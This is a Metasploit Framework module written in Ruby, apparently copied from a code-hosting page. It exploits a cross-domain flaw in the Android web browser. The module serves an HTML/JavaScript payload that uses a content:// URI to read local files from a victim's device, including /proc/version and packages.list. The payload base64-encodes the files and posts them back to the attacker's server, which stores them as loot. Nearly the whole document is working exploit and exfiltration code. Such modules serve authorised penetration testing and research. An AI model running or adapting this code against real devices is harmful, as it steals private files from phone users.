185 lines
4.4 KiB
Ruby
185 lines
4.4 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
include Msf::Auxiliary::Report
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Android Content Provider File Disclosure',
|
|
'Version' => '$Revision$',
|
|
'Description' => %q{
|
|
This module exploits a cross-domain issue within the Android web browser to
|
|
exfiltrate files from a vulnerable device.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Thomas Cannon', # Original discovery, partial disclsoure
|
|
'jduck' # Metasploit module
|
|
],
|
|
'Version' => '$Revision$',
|
|
'License' => MSF_LICENSE,
|
|
'Actions' =>
|
|
[
|
|
[ 'WebServer' ]
|
|
],
|
|
'PassiveActions' =>
|
|
[
|
|
'WebServer'
|
|
],
|
|
'DefaultAction' => 'WebServer'))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('FILES', [ false, "The remote file(s) to steal",
|
|
'/proc/version,/proc/self/status,/data/system/packages.list' ])
|
|
], self.class)
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
print_status("Request '#{request.method} #{request.uri}'")
|
|
selected_headers = [ 'user-agent', 'origin', 'referer' ]
|
|
request.headers.each_key { |k|
|
|
next if not selected_headers.include? k.downcase
|
|
print_status("#{k}: #{request.headers[k]}")
|
|
}
|
|
|
|
return process_post(cli, request) if request.method == "POST"
|
|
|
|
# Only GET requests now..
|
|
if request.uri =~ /\.html?$/
|
|
filename = request.uri.split('/').last
|
|
target_files = datastore['FILES'].split(',').map{ |e|
|
|
"'%s'" % e
|
|
}.join(',')
|
|
|
|
upload_url = get_uri(cli)
|
|
upload_url << '/' if upload_url[-1,1] != '/'
|
|
upload_url << 'q'
|
|
|
|
html = <<-EOS
|
|
<html>
|
|
<body>
|
|
<script lang=javascript>
|
|
var target_files = Array(#{target_files});
|
|
var results = new Array();
|
|
function addField(form, name, value) {
|
|
var hf = document.createElement('input');
|
|
hf.setAttribute('type', 'hidden');
|
|
hf.setAttribute('name', name);
|
|
hf.setAttribute('value', value);
|
|
form.appendChild(hf);
|
|
}
|
|
function uploadFiles(files) {
|
|
var form = document.createElement('form');
|
|
form.setAttribute('method', 'POST');
|
|
form.setAttribute('action', '#{upload_url}');
|
|
var i = 0;
|
|
for (var fn in files) {
|
|
addField(form, 'f'+i, btoa(fn));
|
|
addField(form, 'd'+i, files[fn]);
|
|
i += 1;
|
|
}
|
|
document.body.appendChild(form);
|
|
form.submit();
|
|
}
|
|
for (var fn in target_files) {
|
|
fn = target_files[fn];
|
|
xh = new XMLHttpRequest();
|
|
xh.open('GET', fn, false);
|
|
xh.onreadystatechange = function() { if (xh.readyState == 4) { results[fn] = btoa(xh.responseText); } }
|
|
xh.send();
|
|
}
|
|
uploadFiles(results);
|
|
</script>
|
|
</body>
|
|
</html>
|
|
EOS
|
|
|
|
print_status("Sending payload HTML ...")
|
|
send_response_html(cli, html,
|
|
{
|
|
'Cache-Control' => 'public',
|
|
'Content-Description' => 'File Transfer',
|
|
'Content-Disposition' => "attachment; filename=#{filename}",
|
|
'Content-Transfer-Encoding' => 'binary',
|
|
'Content-Type' => 'text/html'
|
|
})
|
|
|
|
|
|
else
|
|
payload_fn = Rex::Text.rand_text_alphanumeric(4+rand(8))
|
|
|
|
html = <<-EOS
|
|
<html>
|
|
<body>
|
|
<script lang=javascript>
|
|
setTimeout("document.location = 'content://com.android.htmlfileprovider/sdcard/download/#{payload_fn}.html';", 5000);
|
|
setTimeout("document.location = '#{payload_fn}.html';", 500);
|
|
</script>
|
|
</body>
|
|
</html>
|
|
EOS
|
|
|
|
print_status("Sending initial HTML ...")
|
|
send_response_html(cli, html)
|
|
|
|
end
|
|
end
|
|
|
|
def process_post(cli, request)
|
|
|
|
results = {}
|
|
|
|
if request and request.body
|
|
request.body.split('&').each { |var|
|
|
parts = var.split('=', 2)
|
|
if parts.length != 2
|
|
print_error("Weird, we got a var that doesn't contain an equals: #{parts.inspect}")
|
|
else
|
|
fln,fld = parts
|
|
fld = Rex::Text.uri_decode(fld).unpack('m').first
|
|
start = fln.slice!(0,1)
|
|
if start == "f"
|
|
results[fln] ||= {}
|
|
results[fln][:filename] = fld
|
|
elsif start == "d"
|
|
results[fln] ||= {}
|
|
results[fln][:data] = fld
|
|
end
|
|
end
|
|
}
|
|
end
|
|
|
|
results.each_key { |k|
|
|
e = results[k]
|
|
fn = e[:filename]
|
|
data = e[:data]
|
|
print_good("#{fn.inspect} contains #{data.inspect}")
|
|
|
|
fn.gsub!(/[\/\\]/, '.')
|
|
fn.gsub!(/^\./, '')
|
|
store_loot('android.fs.'+fn, 'application/octet-stream', cli.peerhost, data, fn)
|
|
}
|
|
|
|
send_response_html(cli, "thx")
|
|
end
|
|
|
|
def run
|
|
exploit()
|
|
end
|
|
|
|
end
|